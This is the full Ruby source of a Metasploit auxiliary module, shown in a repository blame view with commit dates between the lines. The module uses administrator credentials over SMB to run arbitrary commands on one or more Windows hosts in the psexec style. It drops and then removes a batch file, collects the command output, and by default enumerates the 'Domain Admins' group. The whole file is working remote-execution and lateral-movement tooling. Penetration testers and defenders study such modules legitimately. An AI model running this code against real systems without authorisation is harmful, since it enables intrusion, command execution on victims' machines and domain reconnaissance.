Files
metasploit-gs/modules/auxiliary/admin/smb/psexec_command.rb
T

185 lines
6.3 KiB
Ruby
Raw Normal View History

2013-03-07 00:20:02 +00:00
##
2014-10-17 11:47:33 -05:00
# This module requires Metasploit: http://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
2013-03-07 00:20:02 +00:00
##
2012-11-05 12:03:51 -06:00
require 'msf/core'
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Auxiliary
2012-11-05 12:03:51 -06:00
2015-02-13 17:17:59 -06:00
include Msf::Exploit::Remote::SMB::Client::Psexec
2013-08-30 16:28:54 -05:00
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
# Aliases for common classes
SIMPLE = Rex::Proto::SMB::SimpleClient
XCEPT = Rex::Proto::SMB::Exceptions
CONST = Rex::Proto::SMB::Constants
def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft Windows Authenticated Administration Utility',
'Description' => %q{
This module uses a valid administrator username and password to execute an
arbitrary command on one or more hosts, using a similar technique than the "psexec"
utility provided by SysInternals. Daisy chaining commands with '&' does not work
and users shouldn't try it. This module is useful because it doesn't need to upload
any binaries to the target machine.
},
'Author' => [
'Royce Davis @R3dy__ <rdavis[at]accuvant.com>',
],
'License' => MSF_LICENSE,
'References' => [
[ 'CVE', '1999-0504'], # Administrator with no password (since this is the default)
[ 'OSVDB', '3106'],
2013-08-30 16:28:54 -05:00
[ 'URL', 'http://www.accuvant.com/blog/2012/11/13/owning-computers-without-shell-access' ],
[ 'URL', 'http://sourceforge.net/projects/smbexec/' ],
[ 'URL', 'http://technet.microsoft.com/en-us/sysinternals/bb897553.aspx' ]
]
))
register_options([
OptString.new('SMBSHARE', [true, 'The name of a writeable share on the server', 'C$']),
OptString.new('COMMAND', [true, 'The command you want to execute on the remote host', 'net group "Domain Admins" /domain']),
OptString.new('RPORT', [true, 'The Target port', 445]),
OptString.new('WINPATH', [true, 'The name of the remote Windows directory', 'WINDOWS']),
], self.class)
register_advanced_options([
OptString.new('FILEPREFIX', [false, 'Add a custom prefix to the temporary files','']),
2013-10-31 00:17:50 -07:00
OptInt.new('DELAY', [true, 'Wait this many seconds before reading output and cleaning up', 0]),
OptInt.new('RETRY', [true, 'Retry this many times to check if the process is complete', 0]),
2013-08-30 16:28:54 -05:00
], self.class)
deregister_options('RHOST')
end
# This is the main controle method
def run_host(ip)
text = "\\#{datastore['WINPATH']}\\Temp\\#{datastore['FILEPREFIX']}#{Rex::Text.rand_text_alpha(16)}.txt"
bat = "\\#{datastore['WINPATH']}\\Temp\\#{datastore['FILEPREFIX']}#{Rex::Text.rand_text_alpha(16)}.bat"
@smbshare = datastore['SMBSHARE']
@ip = ip
# Try and authenticate with given credentials
if connect
begin
smb_login
rescue Rex::Proto::SMB::Exceptions::Error => autherror
2016-02-01 16:06:34 -06:00
print_error("Unable to authenticate with given credentials: #{autherror}")
2013-08-30 16:28:54 -05:00
return
end
2013-09-05 14:24:37 -05:00
res = execute_command(text, bat)
if res
2013-10-31 00:17:50 -07:00
for i in 0..(datastore['RETRY'])
Rex.sleep(datastore['DELAY'])
# if the output file is still locked then the program is still likely running
if (exclusive_access(text))
break
elsif (i == datastore['RETRY'])
print_error("Command seems to still be executing. Try increasing RETRY and DELAY")
end
end
2013-08-30 16:28:54 -05:00
get_output(text)
end
2013-09-05 14:24:37 -05:00
2013-08-30 16:28:54 -05:00
cleanup_after(text, bat)
disconnect
end
end
# Executes specified Windows Command
def execute_command(text, bat)
# Try and execute the provided command
execute = "%COMSPEC% /C echo #{datastore['COMMAND']} ^> %SYSTEMDRIVE%#{text} > #{bat} & %COMSPEC% /C start %COMSPEC% /C #{bat}"
2016-02-01 16:06:34 -06:00
print_status("Executing the command...")
2013-08-30 16:28:54 -05:00
begin
return psexec(execute)
2016-11-15 12:14:58 -06:00
rescue Rex::Proto::DCERPC::Exceptions::Error, Rex::Proto::SMB::Exceptions::Error => e
elog("#{e.class} #{e.message}\n#{e.backtrace * "\n"}", 'rex', LEV_3)
2016-11-15 12:14:58 -06:00
print_error("Unable to execute specified command: #{e}")
2013-08-30 16:28:54 -05:00
return false
end
end
# Retrive output from command
def get_output(file)
2016-02-01 16:06:34 -06:00
print_status("Getting the command output...")
2013-08-30 16:28:54 -05:00
output = smb_read_file(@smbshare, @ip, file)
if output.nil?
2016-02-01 16:06:34 -06:00
print_error("Error getting command output. #{$!.class}. #{$!}.")
2013-08-30 16:28:54 -05:00
return
end
if output.empty?
2016-02-01 16:06:34 -06:00
print_status("Command finished with no output")
2013-08-30 16:28:54 -05:00
return
end
2013-09-05 14:24:37 -05:00
2013-10-31 00:17:50 -07:00
# Report output
2016-02-01 16:06:34 -06:00
print_good("Command completed successfuly!")
2014-10-26 09:20:32 -05:00
vprint_status("Output for \"#{datastore['COMMAND']}\":")
vprint_line("#{output}")
2013-10-31 00:17:50 -07:00
report_note(
2014-12-12 13:16:21 +01:00
:rhost => datastore['RHOSTS'],
:rport => datastore['RPORT'],
2013-10-31 00:17:50 -07:00
:type => "psexec_command",
2014-12-12 13:16:21 +01:00
:name => datastore['COMMAND'],
2013-10-31 00:17:50 -07:00
:data => output
)
2013-08-30 16:28:54 -05:00
end
# check if our process is done using these files
2013-09-05 14:24:37 -05:00
def exclusive_access(*files)
begin
2013-09-05 14:24:37 -05:00
simple.connect("\\\\#{@ip}\\#{@smbshare}")
rescue Rex::Proto::SMB::Exceptions::ErrorCode => accesserror
print_status("Unable to get handle: #{accesserror}")
return false
end
files.each do |file|
2013-09-05 14:24:37 -05:00
begin
print_status("checking if the file is unlocked")
fd = smb_open(file, 'rwo')
fd.close
rescue Rex::Proto::SMB::Exceptions::ErrorCode => accesserror
2016-02-01 16:06:34 -06:00
print_status("Unable to get handle: #{accesserror}")
2013-09-05 14:24:37 -05:00
return false
end
2013-10-31 00:17:50 -07:00
simple.disconnect("\\\\#{@ip}\\#{@smbshare}")
2013-09-05 14:24:37 -05:00
end
return true
end
2016-11-11 10:28:37 -07:00
2013-08-30 16:28:54 -05:00
# Removes files created during execution.
def cleanup_after(*files)
begin
simple.connect("\\\\#{@ip}\\#{@smbshare}")
rescue Rex::Proto::SMB::Exceptions::ErrorCode => accesserror
print_error("Unable to connect for cleanup: #{accesserror}. Maybe you'll need to manually remove #{files.join(", ")} from the target.")
return
end
2016-02-01 16:06:34 -06:00
print_status("Executing cleanup...")
2013-08-30 16:28:54 -05:00
files.each do |file|
begin
smb_file_rm(file)
rescue Rex::Proto::SMB::Exceptions::ErrorCode => cleanuperror
2016-02-01 16:06:34 -06:00
print_error("Unable to cleanup #{file}. Error: #{cleanuperror}")
2013-08-30 16:28:54 -05:00
end
end
left = files.collect{ |f| smb_file_exist?(f) }
if left.any?
2016-02-01 16:06:34 -06:00
print_error("Unable to cleanup. Maybe you'll need to manually remove #{left.join(", ")} from the target.")
2013-08-30 16:28:54 -05:00
else
2016-02-01 16:06:34 -06:00
print_status("Cleanup was successful")
2013-08-30 16:28:54 -05:00
end
end
2012-11-06 16:33:47 -06:00
2012-11-05 12:03:51 -06:00
end